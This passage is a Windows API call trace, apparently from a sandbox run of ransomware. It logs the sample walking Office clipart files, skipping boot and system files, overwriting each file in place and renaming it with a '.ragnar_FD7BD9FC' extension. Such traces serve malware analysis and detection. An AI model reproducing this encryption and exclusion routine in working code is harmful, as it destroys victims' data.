lstrcmpiW (lpString1="FD02071_.WMF", lpString2="ntldr") returned -1 [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="ntuser.dat") returned -1 [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="ntuser.ini") returned -1 [0082.327] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="thumbs.db") returned -1 [0082.327] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.327] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.327] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.327] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.327] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.327] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.327] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x20 [0082.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.328] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2188) returned 1 [0082.328] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x883, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.328] GetProcessHeap () returned 0x580000 [0082.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.328] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.329] VirtualAlloc (lpAddress=0x0, dwSize=0x88c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.330] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.330] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.330] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x88c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x88c, lpOverlapped=0x0) returned 1 [0082.330] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.330] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x88c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.330] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x88c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x88c, lpOverlapped=0x0) returned 1 [0082.330] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x88c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.330] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.330] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x88c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.330] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.330] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.331] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.331] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.331] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.331] GetProcessHeap () returned 0x580000 [0082.331] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.331] CloseHandle (hObject=0xf4) returned 1 [0082.331] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" [0082.331] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.ragnar_FD7BD9FC" [0082.331] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.331] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0082.331] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.331] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD02075_.WMF" | out: lpString1="FD02075_.WMF") returned="FD02075_.WMF" [0082.331] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned=".WMF" [0082.331] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="autorun.inf") returned 1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="boot.ini") returned 1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="bootfont.bin") returned 1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="bootsect.bak") returned 1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="bootmgr") returned 1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="bootmgr.efi") returned 1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="desktop.ini") returned 1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="iconcache.db") returned -1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="ntldr") returned -1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="ntuser.dat") returned -1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="ntuser.ini") returned -1 [0082.332] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="thumbs.db") returned -1 [0082.332] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.332] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.332] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.332] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.332] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.332] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.332] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x20 [0082.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.332] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4396) returned 1 [0082.332] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1123, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.333] GetProcessHeap () returned 0x580000 [0082.333] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.333] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.334] VirtualAlloc (lpAddress=0x0, dwSize=0x112c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.334] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.334] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.334] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x112c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x112c, lpOverlapped=0x0) returned 1 [0082.335] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.335] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x112c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.335] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x112c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x112c, lpOverlapped=0x0) returned 1 [0082.336] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x112c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.336] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.336] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x112c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.336] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.336] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.336] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.336] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.336] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.336] GetProcessHeap () returned 0x580000 [0082.336] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.336] CloseHandle (hObject=0xf4) returned 1 [0082.336] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" [0082.336] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.ragnar_FD7BD9FC" [0082.336] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.337] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0082.337] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.337] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD02088_.WMF" | out: lpString1="FD02088_.WMF") returned="FD02088_.WMF" [0082.337] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned=".WMF" [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="autorun.inf") returned 1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="boot.ini") returned 1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="bootfont.bin") returned 1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="bootsect.bak") returned 1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="bootmgr") returned 1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="bootmgr.efi") returned 1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="desktop.ini") returned 1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="iconcache.db") returned -1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="ntldr") returned -1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="ntuser.dat") returned -1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="ntuser.ini") returned -1 [0082.337] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="thumbs.db") returned -1 [0082.337] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.337] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.337] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.337] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.338] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.338] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.338] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x20 [0082.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.338] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3696) returned 1 [0082.338] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.338] GetProcessHeap () returned 0x580000 [0082.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.338] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.340] VirtualAlloc (lpAddress=0x0, dwSize=0xe70, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.340] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.340] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.340] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe70, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe70, lpOverlapped=0x0) returned 1 [0082.340] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.340] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe70, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.340] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe70, lpOverlapped=0x0) returned 1 [0082.340] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.340] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.341] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.341] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.341] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.341] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.341] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.341] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.341] GetProcessHeap () returned 0x580000 [0082.341] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.341] CloseHandle (hObject=0xf4) returned 1 [0082.341] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" [0082.341] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.ragnar_FD7BD9FC" [0082.341] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.342] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0082.342] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.342] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD02097_.WMF" | out: lpString1="FD02097_.WMF") returned="FD02097_.WMF" [0082.342] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned=".WMF" [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="autorun.inf") returned 1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="boot.ini") returned 1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="bootfont.bin") returned 1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="bootsect.bak") returned 1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="bootmgr") returned 1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="bootmgr.efi") returned 1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="desktop.ini") returned 1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="iconcache.db") returned -1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="ntldr") returned -1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="ntuser.dat") returned -1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="ntuser.ini") returned -1 [0082.342] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="thumbs.db") returned -1 [0082.342] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.342] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.342] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.342] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.342] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.342] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.342] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.343] 